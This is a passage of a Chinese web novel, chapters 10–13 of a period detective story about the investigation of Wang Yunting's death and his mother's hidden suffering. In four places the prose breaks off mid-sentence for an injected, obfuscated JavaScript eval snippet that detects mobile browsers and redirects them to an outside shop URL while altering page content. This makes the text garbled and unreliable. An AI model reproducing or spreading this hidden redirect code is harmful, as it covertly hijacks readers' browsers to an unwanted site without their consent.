“大人,还有什么吩咐的吗?”沈无逆率先开口。 “此案就交由你全权负责吧,那姜绍很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711868|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是可疑,且此案涉及王家,你知道该怎么做,马上就是乞巧节,不要生事。”大理寺卿嘱咐一通便大步流星地离开了。 堂内的沈无逆沉默片刻,闷声应了一句。 曲霜姿差点和他打了个照面,连忙装出副路过的模样 看着大理寺卿出了大理寺,曲霜姿连忙又折返回来,她急切地冲进大堂,“沈无逆,此案疑点重重,你当真要草草了结!?” “那姜绍偷了人家的包裹,王云廷又是王家人,说不准就是图谋钱财呢?”沈无逆头疼地扶额,“然后抢劫过程中误杀了人,自己也被王云廷还手时打昏了。” 曲霜姿无语地笑了出来,此时生气一词都无法描述她的心情,“你拿我的验尸结果当什么?你觉得查案是过家家吗?” 沈无逆敛眉道:“此案牵涉过多,马上就是乞巧节了……” “按你这样的说辞,到底是姜绍先昏,还是王云廷先死?”曲霜姿咬牙切齿地问,“你从前在盛京见过王云廷吗?他的穿着打扮可都不像富贵的公子哥,几乎瘦成了个骨头架子,谁会去偷他的东西,偷几本破旧的书!” “曲霜姿,现下只能这样,你没听到寺卿大人的话吗?”沈无逆攥紧拳头,声线都因为太过用力而颤抖,“我又能如何?” “总而言之,乞巧节诸多外乡人,甚至异邦人都会来盛京,要是一直耗费人手查下去,节日诸事,还有宫内庆宴都会受到影响。” “这想必也是陛下的意思。”沈无逆冲远方皇宫处拱了拱手。 大安海晏河清、正值盛世。凡是遇上各类节日,整个盛京都会张灯结彩,诸多邻国都会派使臣前来朝圣,宫内更是百官齐聚,载歌载舞,无人见到这繁荣景象不会叹服。 曲霜姿垂眸,“所以没人会在意这一条人命吗?” 空气陷入死一般的寂静,沈无逆心头也难受,可是亦无可奈何。 外头传来呼喊声,是王家派人来了。 王大人却并未亲临,只是派了个管家前来认尸,沈无逆出去迎接,“刘管家,劳您亲自来了。” 曲霜姿站在一旁看着,一颗心冰凉到了极点。沈无逆待任何人都和善恭从,看着就是副好心肠,配得上温润如玉几个字。但这样的人又怎么能和那些草菅人命的人一样,说出那样冰冷的话。 管家认了尸,询问了几句关于凶犯的事,抹了几把眼泪便喊侍从来抬人。 太奇怪了。 难不成盛京人人都如此铁石心肠? 曲霜姿皱着眉一路追着刘管家出去,见刘管家没有回王府,进了一家小院。 曲霜姿跟着余肃学过一段时间的武术,身手还算矫健,三下五除二就翻了进去,她隐匿在一棵大树后四处观察,发现这院子并无明显的生活痕迹。 刘管家屏退了下人,很快一个穿着素净的温婉女子走了出来。女人维持着表面上的端庄,神情却是痛苦非常,她看到男尸的那一刻瞬间就扑了上去。 女人轻轻抚摸着男尸可怖的面庞,眼底悲伤快要溢出,很快伏在地上嚎啕大哭起来。 刘管家也在女人身后默默抹着眼泪,和在公廨时完全不同。 曲霜姿见过这个女人,她是王府王大人的妻子。 11. 志怪夜游神 王家这反应,让曲霜姿以为王云廷并非王家子,或者只是什么旁系的子弟,但王夫人哭得悲凄,几乎要昏厥过去。 如若不是自己的孩子,又怎么会这样伤心? 但眼下这一切都太过反常,靠她自己查清一切几乎是不可能的,可是细想来,沈无逆也有难处,她也不可能站在什么道德的制高点去指责他。 所以她也只能靠自己。 曲霜姿咬牙从树后走了出去,那管家吃惊道:“是你!?” “我代替大理寺寺正问讯于你!”她义正言辞,脸不红心不跳地借用了沈无逆的身份。 管家深深叹了一口气,似乎有种被揭穿后的心虚,“大人要问便问吧。” 而曲霜姿被这一声大人叫得更是心虚。 “王云廷到底是不是王家子?” “是。”刘管家答,曲霜姿一直用余光盯着王夫人的反应。 “那为何王大人不来亲自认尸?” “大人忧伤过度,才派小的来。”刘管家答。 “那你们为何又将王云廷尸体放至此处?”曲霜姿不想听他继续打马虎眼儿,怒问道。 “因、因为王府多女眷,大人怕惊吓着。”刘管家明显有些底气不足。 “王府女眷自然以王夫人为首,王夫人都未曾畏惧,你这话又如何使人信服!” “王夫人自然是不愿让其他女眷受惊。”刘管家继续解释,却被伏在地上的女人大斥一声。 王夫人摇摇欲坠地站起来,表情痛苦不堪,“够了、我说够了!勿要扰了我儿安宁!” “他是我的儿子啊。”女人眼神空洞,像是失了魂魄一般,随后也许是头一回惊天破地地哭喊着重复,“他是我的儿子啊!” 曲霜姿被这一声喊得心都颤了一声,她想到自己失去阿娘时的情形,被王夫人的情绪所感染,眼眶不由得湿润了。 她半晌哑口无言,想从脑海里搜刮些能够安慰人的话,最后却只是垂头闷声道:“王夫人,请节哀。” 王夫人哭得不能自已,她咬唇缓了许久方才平复好情绪。 一开口,便又让曲霜姿怔愣在原地。 女人声音温柔却有力量,“我有名字,我名简亲娇,本是盛京平凡快活家最受宠的小女儿。” 她自嘲地笑了笑,抬手抹了把眼泪,“小姑娘,你可否能告诉我,我儿到底因何而死?” 曲霜姿看着简亲娇眼里期待的光,她咬了咬牙,还是选择摇摇头,刘管家却抢先道:“是一个叫姜绍的毛头小子,为偷东西害死了少爷!” “偷东西?”简亲娇心底不可置信,眼泪再次涌了出来,哭腔让她都破了音,“廷儿有什么值得偷的东西?” “是书,王……简小姐。”此话一出,曲霜姿眼睛瞬间一亮,简亲娇却更加悲痛欲绝。 在公堂之上,姜绍说话时应该不仅仅是口误了,而是他原本就认识王云廷,是下意识脱口而出后才改了口。 “简小姐,此案还没有查清,是不是姜绍所杀还未可知,小姐若是想为贵公子查清真相,就请尽力配合我查案。” “好,我配合。”简亲娇攥紧拳头,郑重道。 刘管家猛得跪伏在地,歇斯底里地劝阻道:“夫人,此事已了!莫要再耽误时间了,乞巧节在即,老爷知道了会……” “放肆!”简亲娇使劲一甩衣袖,“老爷知道又如何?我只是不想让我儿死不瞑目!” “夫人,只是贵公子的尸首暂且还不能下葬。” 简亲娇是明白人,她了然地看着凄惨躺在地上的儿子,“还需我怎么做?” “借一步说话。”曲霜姿看了看刘管家,直觉告诉她,此人并不是什么善茬,她伸手向里屋示意道。 简亲娇不放心儿子,就将刘管家也赶出了院子,随后她长长舒了一口气,主动地娓娓道来:“那你一定对廷儿有很多疑惑吧……” “王腾年轻时看中我貌美,便向我父母求娶,起初他对我无微不至,我们也算得上是琴瑟和鸣,是盛京的一桩美谈。但其实,他对我的好,只是流于表面,很快就暴露了真实面貌。” 王腾便是王大人。 “他只是想让我给他长脸。” “王腾他信奉神灵,成婚一年后,他过生辰,府上碰巧来了位大师说是路过要沾沾喜气,结果却一语成谶。大师说王腾的第一个孩子如果是儿子的话,那此子定会损他官运、财运,必会克他,而避免灾祸就需生女儿。” “可我不争气,头胎就是儿子,廷儿一出生还和别的孩子不同。” 说到这里,简亲娇又掩面痛哭起来。 “是不是身体青紫、不爱活动、经常气急而促,易呕吐和大量出汗?” 女人猛得抬起头来,惊讶道:“你如何知道?” “没有请郎中看过吗?是先天心疾。”曲霜姿深呼一口气,看着女人继续嚎啕大哭。 过了许久,简亲娇终于冷静了下来,“我当时未出月子,身体虚弱,王腾就偷偷地把孩子送去了梁县,不许我们母子相见。” “可是简小姐,你既然知道王云廷在梁县,为何不带他回来,为何不去看他?”曲霜姿疑惑地蹙起眉头。 简亲娇眉头似蹙非蹙,眼底是化不开的忧伤,“你想来也不会理解我,也实在是我这个为娘的做得不够好。” “我愿洗耳恭听。”曲霜姿真挚道。 “廷儿被送走后,我求了刘管家半个月才知道廷儿是被送到了梁县,我想要派人去寻,却被王腾发现。” “我那时还未出月子,被他哄骗只要再为他生个女儿就把廷儿接回来。”简亲娇痴痴地仰望着天空,一行清泪滑落,被余晖照得颇有些荒芜又盛大的意味。 女人突然偏过头,看向曲霜姿挤出个惨淡的笑容,“你知道我生了多少个女儿吗?” 曲霜姿心底咯噔一下,她回想起王家巨大华美的后宅,竟不由得毛骨悚然。 简亲娇没有直接回答,只是自顾自地解开衣裳,曲霜姿有些手足无措。 女人雅致衣袍下的身形却很臃肿,布满了难看的纹路,甚至还有一条蜈蚣似的长疤。 曲霜姿知道,那纹路是妊娠纹,阿娘曾经抚摸着肚皮告诉她,这是她给自己带来的礼物,是她做母亲的象征。可是曲霜姿熟读医书,知晓怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711869|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孕的痛苦,也看不出那些纹路的好看,她心疼阿娘,幼小的她甚至曾讨厌过自己。 “十一个。” “嫁入王府二十余载,我仿佛成了为王腾生育的一头牲畜,他不许我随意出门,他求来各种秘方让我为他生育女儿,每次郎中查验出是男孩他就会强迫我打胎。” “我后来终于知道,他娶我也不过是有大师说娶个貌美贤良的平民女子,就能保他一生富贵。” “我一直活在他的监视下,偶有反抗还会被毒打一番。” 曲霜姿震惊不已,连忙赶在简亲娇要彻底剥下衣服以证明自己身上伤口前把她拦了下来,“你受苦了。” “你想过离开吗?” “离开……我十一个女儿又该怎么办?这么多年我虽然一直活在王腾的桎梏下,但也在暗自接济吾儿。我知晓他想要考取功名,靠自己的力量重返盛京,就盼望着他能继承家业,保护我们母女。” “可是,他怎么还怎么如此瘦削,穿得如此破旧啊?”简亲娇咬牙,泪水又不住地涌了出来。 “那小姐最近一次见贵公子是何时?” “他之前每次来盛京买书时都会想办法与我联络,偶尔才能得见一面,昨日他好像来过王府,只是被王腾赶出去了。” “他说他没有住处,我听下人说起再去寻他,却已经寻不见了。” “我知道了,小姐今日好好休息,我一定会尽全力查出此案的真相!” 走出小宅,曲霜姿常常叹了口气。 今日发生的事情太多,她也不想回去和沈无逆再吵架,客栈三个月的房间还未到期,还是先到那里去凑合一夜,也好梳理案情。 姜绍必然认识王云廷,王云廷既然常来盛京买书,那不可能没人见过他。 这是一条线索。 明日便去各书铺查查。 但如果真的是姜绍杀的人,他又为何会和王云廷倒在一处?难不成真有一个什么庞大的黑影怪物? 曲霜姿正想着,外面突然响起一声凌厉的喊声,她飞快打开窗子,是一男一女。 “怎么了?”曲霜姿喊道。 男人磕磕巴巴道:“黑影!怪物!”他虽一边说一边颤抖,手上却不忘护住女人,周围引来了不少人,纷纷说自己好像也看见了。 曲霜姿顺着他们所指方向看去,什么都没有。 “是夜游神!”一个老头站了出来,立刻引发了不少百姓的疑惑和惶恐。 夜游神? 那个志怪传说中的神仙? 夜游神又称“夜游巡”,是夜晚巡行之神, 民间传说世人若看见夜游神定乃不祥之兆,清朝李庆辰《醉茶志怪》中说,王某在夜中看见一个三丈高的巨人,巨人微笑告知“我乃夜游神也”,言毕消失。而数日后,王某突然暴毙,无病身亡。 “我可听说了,昨天晚上死的那个就是看见了巨大黑影怪物,大家快回去吧!”一声急出,众人纷纷散了,逃也似的不见了踪影。 曲霜姿都没来得及问清这怪物的外形。 她叹了口气,关上窗户回头,被屋里突然出现的人吓了一大跳。 12. 清贫一书铺 “余叔叔!” 她进入大理寺后余肃曾派人给她送过几次书信,无非是几句细细叮咛,像是老妈子似的,甚至还说了晚上不要随便给别人开门。 拿她还是小孩子吗? 但曲霜姿还是很想余肃的,自阿娘过世后,她唯一能全然信任的就只有余肃叔叔一人了。 遥想她幼时,阿娘还哄她一个女人就能生孩子,说她没有阿爹。可其他小朋友都有阿爹呀,她羡慕不已,可她只能偷偷在心里叫余肃爹爹,还叫阿娘发现训诫了一番。 余叔叔看起来一脸疲态,虽然岁月在他脸上刻上了痕迹,但这张脸还是好看的,曲霜姿又想起醉烟居说书郎所言。 她眨巴眨巴眼睛,“余叔叔,你曾经是余家少家主吗?” 余肃没想到会被问这个,愣了一下还是点头了。 “盛京人人都说前余家少家主为了风花雪月才远离盛京,去寻觅佳人了。” “这佳人可是我阿娘?” 余肃尴尬地挠了挠鼻子,“你最近不是遇上案子了吗?怎么尽和我说这些有的没的。” 曲霜姿撅了噘嘴,她确实被近来发生的事搞得昏头转向的,但让她开口倾诉却又不知从何说起,“有案子还未查明,但是大理寺却要草草定案了。” “王家他毕竟是名门望族,眼下乞巧节当即,大理寺那边怕是顾忌这个。” “所以真的没办法吗?”曲霜姿落寞道。 “想查便去查,叔叔给你兜底。”余肃笑笑,摸了摸她的头,“你现在有能力,如你阿娘所言,想做就做吧。” 曲霜姿看着余肃,心头一暖,努力挤出一个笑容,“余叔叔,我不会让你失望的。” 也不会让任何一个等待真相的百姓失望。 — 第二天天未亮,曲霜姿就出了客栈,直奔各书铺。 她顶着沈无逆的名号查案,那些书铺老板都不敢不配合,然而却是一无所获。 一直到街上最后一家书铺,这书铺要比周围几家都小,装修也颇为古朴,倒也因此有种底蕴深厚的书香气。 牌匾是真的陈旧,坑坑洼洼,有些边角都折损了,依稀可辨是“清贫陋室”四个大字。 好奇怪的名字。 曲霜姿走了进去。 “张老板,盛京有没有卖书便宜点的书铺啊,我初来盛京有些拮据。”曲霜姿决定换个计策。 书铺张老板瞅了她两眼,“你也要参加科考?” “对!” “今年入京赶考的人可是不少啊,没想到还有女子,你跟我来吧。” 曲霜姿跟着张老板往书铺深处走,这书铺竟是别有洞天。 狭小的空间用独特的方式打造出隔断,层层叠叠地往上蔓延,梯子是和隔断一样都是红木的,可以随意推动并不占空间,曲霜姿内心不由得赞叹,这设计者真是奇思妙想、堪称能工巧匠。 书架上摆放了很多书籍,整个空间却不显得压抑,书籍琳琅满目,虽不够新,但字迹还算是清晰。 “这些都便宜,你看你要哪些?” 她环视四周,“这么多书啊,老板这都是哪儿来的啊?” “有收购的,也有捐赠的,快挑吧,全盛京也只有我这儿有这么些书了。” 曲霜姿怔怔的,她忽得领略了“清贫陋室”四个字。 阿娘曾教过她念一首诗。 诗中道:“斯是陋室,惟吾德馨。” 好一个惟吾德馨。 曲霜姿眼睛一亮,“那我真的是来对地方了!” “您认识王云廷吗?” “不认识。”张老板皱了皱眉,语气都变得急促起来,“你到底是来找人的还是来买书的?不买就赶紧走。” 曲霜姿看张老板这反应,心道总算是找对地方了,“我代替大理寺寺正沈无逆问讯于你!” 沈无逆的身份就是好用,一来也是个官,二来他是敌国质子,养在大安宫内,还是二皇子的人,多少是让人忌惮的。 “现在是大人派我来问话,你可不要等我家大人亲自来找你!” “你说你是大理寺的,有何凭证!?”张老板气急,嚷着就要把曲霜姿给推出去,“不买书还不许人家做生意,有你这样的官吗?” 曲霜姿没想到叫人反将一军,手足无措地站在书铺门口。 “大理寺寺正沈无逆,特来问讯于你!”男人几步跨上前来,掏出令牌自证身份,“王云廷已死,你若是不配合,便视作杀人凶犯下狱处置!” 曲霜姿回头,疑惑地看着沈无逆。 这人怎么突然来了?不是不查了吗? 张老板这下彻底慌了,周围几家店里的人都围过来想要一探究竟。 “大人、大人,我说、我说。”张老板立即哈腰鞠躬。 “我是认识王云廷,可我没有做过违法乱纪的事情啊!” “胡说!我前日还见你和王云廷在店里争吵呢!”另一家书铺的老板站出来戳穿他。 沈无逆眯起眼,沉声问:“争吵?因何事而争吵?” 另一家书铺的老板见张老板支支吾吾的,便又抢先开口:“王云廷欠他书钱呀,一回两回的,这几条街的书铺酒家可能不认识他,但一说那个穷书生,大家都能说上几句。” “这日子,平头百姓能考中的又有几个?” 曲霜姿敛眉,“此话何意?” 沈无逆拦了她一下,冲她摇摇头,转而冷声对张老板道:“你还要再隐瞒吗?” 张老板急得出了满头的汗,“大人,那争吵几句又能代表什么啊?” “所以争吵是事实,这是何事发生的事?”沈无逆严肃地问。 “前日下午吧,他来来回回几次,一直到戌时才离开。” “哦?” “他每次都要欠书钱,平日里三四本一赊也就算了,可他这次拿的书可不少,却连上次的书钱也没给够。” “他求我,那我还是要做生意的啊,倘若人人都如此,我以后又该怎么做买卖?他第二次来的时候凑了些钱,却远远不够,然后说再去借钱,第三次来说是没借到又求我。”张老板越说越激动,看起来甚至要哭了。 “我没办法啊,只好把书给他了。” 曲霜姿和沈无逆对视一眼,曲霜姿站出来问:“你昨日子时在何处?” “子时?我在家啊。” “有谁能作证?”曲霜姿又问。 “我一家老小都能作证啊!” 沈无逆:“你们子时还未睡?” “睡、睡了。” 沈无逆:“那何人能证明你在家?” “这、这……”张老板声音颤抖,“话可不能这样说啊大人。” 曲霜姿叹了口气,“沈无逆,你别吓他了,应该和他没有关系。”她转而问张老板道:“那你知道他是向何人借钱吗?” “好像说是他的朋友。” 曲霜姿:“两次借钱的对象一样吗?” “那我就不知道了。” “那你觉得,他有没有什么不一样的地方?”曲霜姿又问。 “不一样的地方……”张老板扶额思索片刻,这才呢喃道:“好像确实是有不一样的地方。” “嗯?” “他身上有胭脂水粉的香味,我闻到时就觉得古怪,他看着挺老实的一个后生,难不成是有了相好?” “但是我想他也不像有相好的模样,便猜想他是学坏了,是去了烟柳之地,所以才不想再赊账卖书给他。” 曲霜姿了然地点点头,“今日问讯到此为止,还望张老板能够继续把这‘清贫陋室’开下去,给清贫的读书人一个机会。”话罢,她深深对张老板鞠了一躬。 “沈无逆,走。” 沈无逆不明所以,却见曲霜姿笃定的模样,只好对张老板道:“兴许之后还会传你问话,七日内莫要离开盛京。” “大人慢走。” 曲霜姿回头看去,衣着朴素的张老板在原地愣着,很久才露出一抹笑,随后远离了喧闹的人群,有些蹒跚地走进了他的书铺。 — 曲霜姿已经走到了几步开外,沈无逆连忙追了上去。 曲霜姿冷哼一声,“不是不查了吗?” “查,”沈无逆轻轻叹了口气,“但我们只能偷偷地查,找到充足的证据才能上报寺卿。” “怎么突然改变主意了?” “我……”沈无逆嗫喏道,不知怎么说才好。 曲霜姿笑了笑,于是替他开了口:“你是绍辰的皇子,如果有机会回去便有可能成为一国之君,你不想对不起自己的良心。” “你比我想象中更有担当和责任。” “外边的人儿除了说你容姿绝佳,说你待人谦和,他们也说你软弱无能,是邵辰的弃子、是大安的囚徒,可你不是。” 曲霜姿眼睛亮亮的,笑起来眸中水波荡漾。 沈无逆确实是想对得起自己的良心,但更重要的是,倘若能在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711870|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大理寺立功,也许能够进一步得到二皇子乃至皇帝的信任与赏识。 他没想到曲霜姿能这么高看自己,他现在,确确实实只是大安的囚徒、只是大安的一条狗,然而他也只是一声苦笑,随即开口问道:“你查到了什么?” 曲霜姿简略讲述了已知的线索,“今早大理寺有人来报案吧,说是又看到了巨大的黑影怪物。” 沈无逆面色凝重地点了点头。 “说是夜游神吧?”曲霜姿抱臂,“前日姜绍描述时,我便想到了‘夜游神’,而王云廷的突发心疾而亡也符合传说中的‘见夜游神者暴毙而亡’。” “所以我就确定那装了书的包裹不属于姜绍,一个读书人应该不会对这传说一无所知。再者,第一次见他时,我便查看了他的手掌,并没有常年书写留下的茧子。” 曲霜姿沉思片刻,“他也早就认识王云廷,姜绍的身份很重要。” 沈无逆浅笑盈盈,颇为傲娇道:“我已查清。” “他确实是梁县人,和王云廷在同一私塾读过书。” 曲霜姿点点头,“二人关系应该不错吧。” “嗯。”沈无逆答道。 “他隐瞒自己认识王云廷确实可疑,”曲霜姿皱起眉。 “需要立刻审他吗?”沈无逆问。 这一问让曲霜姿哭笑不得,“你是寺正大人,还要问我吗?” “你的才能让我钦佩不已,在查案方面,我确实是比不过你。”男人认真回答。 曲霜姿被夸得不好意思,赶紧转移了话题,“先不用审,他不会说实话。”她累了一早上,连口水都没来得及喝,此刻头昏脑涨得很。 沈无逆有点理不清头绪,只能再询问曲霜姿,“王云廷是突发心疾而死的,那和旁人有什么关系?” 他怕曲霜姿觉得自己怀疑她,连忙又换了种问法,“你觉得现下谁最有嫌疑?” 少女敲敲脑袋,“要找杀死他的真凶,那谁都没有嫌疑,最有嫌疑的是那位‘夜游神’,但是他的死绝对不会只是心疾突发这样简单。” 她想了想又问:“你既然查了王云廷在梁县时的事情,那可知他为人如何?” “老实,生活上精打细算,说不好听了就是一毛不拔、小气得很,整日里埋头苦读,书痴一个。”沈无逆回想道。 “所以,沾了胭脂味儿这一点是极不寻常的。”曲霜姿认真道:“还有那‘夜游神’,其中必有猫腻。” “这世上要是真的有鬼神,也不会轻易为凡人所见。”她突然想起昨日看到夜游神的几个人,“报案看到夜游神的人现在如何了?” 沈无逆回答:“我派人盯着了,无甚大碍。” 曲霜姿坐在路边茶摊的位子上,面色不由得凝重起来,“此案真是奇怪,线索诸多却无法联系在一起。” “也许就是夜游神吓死了王云廷,还连带着吓晕了姜绍,然后姜绍害怕自己被误会是杀人凶犯所以才假装不认识王云廷。”沈无逆猜测道,贴心地替曲霜姿倒了一盏茶。 “这夜游神当真有这样吓人?”曲霜姿愁眉不展。 她着急饮了口茶,猛得站起就要走。 “去哪?”沈无逆看着桌上还没怎么喝的一壶茶,有些心疼。 虽然,但是,他挺穷的。 他欲哭无泪地跟上曲霜姿,同时心里奇怪得紧,他怎么就被曲霜姿这个小姑娘拿捏得死死的,有一种被牵着鼻子走的感觉。 曲霜姿火急火燎地又转身问他:“我的匕首呢?” 沈无逆手忙脚乱地掏出来请她过目,曲霜姿看过之后才放心,再次火急火燎地往前走。 “去哪啊?”沈无逆愁苦地问。 “胭脂铺。” “你知道哪儿有吗?” “不知道。”曲霜姿眨眨眼,“我在想有没有可能是二皇子巷子里那家,先去碰碰运气。” 沈无逆拦住她,“不会,那地方很少会有人去的,你还是少去那儿,不要惹祸上身为好。” “你指的祸是二皇子吗?”曲霜姿问得直白,把沈无逆吓得都要出冷汗了,他赶紧作嘘的手势,“天家贵胄都不是一般人,最好不要与他们扯上关系,也不得非议。” “否则一不留神,可是要掉脑袋的。”沈无逆面色凝重,希望能多少给这个不知轻重的小姑娘点警告。 “你不也是皇室的人吗?”曲霜姿突然转头看向沈无逆。 她认真极了,一双眸子亮得出奇,“你和他们一样吗?” 13. 各花入各眼 沈无逆被问得一愣。 一样吗? 一样吧。 他不由得皱紧眉头,眼底像是结了层霜。 然而曲霜姿似乎并不想知道这个问题的答案,很快转移了话题,“快走吧,带我去其他胭脂铺瞧瞧。” 胭脂铺最喜欢接待小姑娘,这盛京的小姑娘哪个不爱美,店里的女伙计连忙笑着迎了上去,“小姑娘,你生得这样可人,再用些脂粉便是锦上添花,你夫郎定会喜欢的。” 曲霜姿忙解释:“不、不是,我们只是朋友。” “哦?这样啊。”女伙计一听眼睛都亮了,上手把沈无逆拉远了些,几乎是贴上去耳语:“这位公子,你喜欢我们店的胭脂吗?” “温香楼的姑娘们用的胭脂可都是我们店里的,要是没有心上人送,送花魁博美人一笑也是好的呀。” 沈无逆被女人的行为吓了一跳,忙不迭退了几步,“不、不用了。” 曲霜姿露出嘲笑的神情,心道沈无逆这中原小白脸的面庞还挺受欢迎的嘛。 沈无逆却很快意识到什么似的,连忙又扯起笑容问:“这胭脂是只有你们店里才有的吗?温香楼的姑娘们用的是哪一款?” 女伙计以为自己的那番话说到了沈无逆心坎里,笑得更加灿烂了,她伸出纤纤玉手捧起个精致的玉盒,“就是这款,闻着都香得很。” 沈无逆对曲霜姿招了招手,示意她过来闻闻。 曲霜姿凑上去闻闻,莫名感觉很是熟悉,哪里闻过似的,沈无逆又和她重复了一遍女伙计的话,一边说一边就要拉着她往外走。 “你怎么回事,忙什么呀?” 沈无逆心有余悸地无奈解释:“这哪里是什么胭脂铺,再说了,各种脂粉多了去了,你怎么查啊?” 曲霜姿若有所思地点点头,然后缓缓开口:“你说得对,我建议你把里面的款式都买一遍,过去让张老板闻一闻。” 别说这世家小姐用的东西价格有多高,沈无逆是根本不想再踏进胭脂铺一步了,一副宁死不屈的模样,“张老板又闻不出来。” “还有一种办法。” “什么?” “你把最火的款式买下来,我们送给花魁,顺便问问花魁有没有见过姜绍。” “姜绍?”沈无逆以为自己听错了。 曲霜姿神秘地一笑,“你买了就知道了,要是舍不得钱就随便买个看得过眼的。” “我把银两给你,你去买好不好?”沈无逆咬牙问道,要他对那样奔放火辣的女子曲意逢迎,还是当着曲霜姿的面,当真是一万个不愿意。 少女背着手,得意地踢腿玩儿,“比起我,那个漂亮姐姐肯定更喜欢你这种小白脸,说不准还能少收你点钱。” “你不会不敢吧?” “怕漂亮姐姐啊?”曲霜姿往他身旁凑了凑。 她嘲笑的意味太浓,沈无逆被激得受不了,压根顾不上“小白脸”是什么意思,视死如归地妥协了。 — 曲霜姿大摇大摆地走进温香楼,比沈无逆还要泰然自若,走进来后还有一堆男人热情地和她打招呼,曲霜姿罕见地在盛京受到了欢迎,高兴地挥手回应。 沈无逆装作无意间挡在曲霜姿身前,还被少女责怪道:“你挡着我看美女了。” “你!”男人无奈扶额。 “你不会从前没来过吗?”曲霜姿问。 “我为何要来这种地方……”沈无逆嘴角直抽抽,却还是保持着一个完美的弧度,方便和相识的人寒暄问好。 “说书文里面的英武贵公子都要来青楼英雄救美的。”曲霜姿想了想又道:“你看起来确实弱不禁风的,只有把剑放我脖子上的时候有几分英武,你应该是英武贵公子的手下。” “这样说来,二皇子应该很是风流倜傥吧。” 沈无逆刚想说些什么,老鸨已经迎了上来:“沈公子,稀客啊,您这样的身份该是要咱们的清绝姑娘陪吧。” “清绝?好名字。”曲霜姿倒饶有兴趣地插嘴。 清雅美妙至极,不知是怎样的美人。 曲婧之前总说,女人如花,各花入各眼,各美其美。 当时曲霜姿还好奇地问,女人只能是花吗?她天真无比地对阿娘说,她要做一棵树——开满树的花,就算开不了花,一树绿荫也好看得很,还能供人乘凉、庇护路过的行人。 阿娘很认真地告诉她,在自己的家乡,每个人都可以尽情成为自己想要成为的样子。 曲霜姿一直记着。 老鸨奇怪地看她,但也顾不上曲霜姿,冲沈无逆谄媚地笑着伸出两根指头来,“只需这个数。” “二两银子?”沈无逆皱皱眉,他带的钱也许勉强足够。 “哎呦,沈公子,您开什么玩笑呢!二十两呀,我们清绝姑娘可是多少人魂牵梦绕的呀。” 沈无逆心一惊,只好呵呵笑了笑,“是沈某开错了玩笑,实在是今天还带着朋友,不便见清绝姑娘了。” 他连忙拉着曲霜姿走开。 曲霜姿戳穿了他:“你钱不够吗?” 男人尴尬地笑笑,拉着她找了个地方坐下,随意招呼了两个姑娘,“姜绍肯定没钱见花魁的。” 曲霜姿想了想,点头应是,嘴上竟还没忘了夸赞,“凉心姑娘皮肤白、冷香姑娘身材好。” “凉心姑娘手指纤长,果真是弹得一手好琵琶,犹如天籁之音啊!” “冷香姑娘身段窈窕,这舞真是翩若惊鸿,婉若游龙!” 甜言蜜语听得沈无逆头皮发麻,他讪笑着开口询问:“两位姑娘,不知可有见过一位名为姜绍的男子。” “大概五尺五寸左右。”曲霜姿补充道,嘴里还嘎嘣嘎嘣咬了颗花生米,“信我,我的眼睛就是尺。” 沈无逆无奈极了,只好言辞更加恳切,给两位姑娘加了些碎银以示诚意。 “是不是眼睛不大,细长细长的,眉间还有一颗痣?”一旁另一位姑娘听见,试探地问道。 “正是。”曲霜姿惊喜道,她飞快从沈无逆手里抢过些碎银塞给那姑娘。 那姑娘羞涩笑了笑,随后也坐了过来,“奴家名婉兮,前两日接待了哪位姜绍公子。” “他常来吗?”沈无逆问。 “他说他是梁县人,十天半个月才来一次。”婉兮怯生生地答。 冷香姑娘一拍脑袋,“原来是他啊,我也有印象,每次来都只找婉兮,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711871|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们还开玩笑说姜绍指不定哪天就给她赎身了。” 婉兮摆摆手,“没有的事,他只是一个书生,没有那么多钱。” “那考中科举了不就有钱了,到时候婉兮你啊,就是官夫人啦。”凉心也调笑道。 “真的没有,两位姐姐别开我的玩笑了,两位怎么打听他啊。”婉兮面露忧愁,沈无逆一眼就看出——她内心必是也喜欢姜绍的。 “那他上次来是什么时候?有没有带过朋友?”曲霜姿问得更加详细。 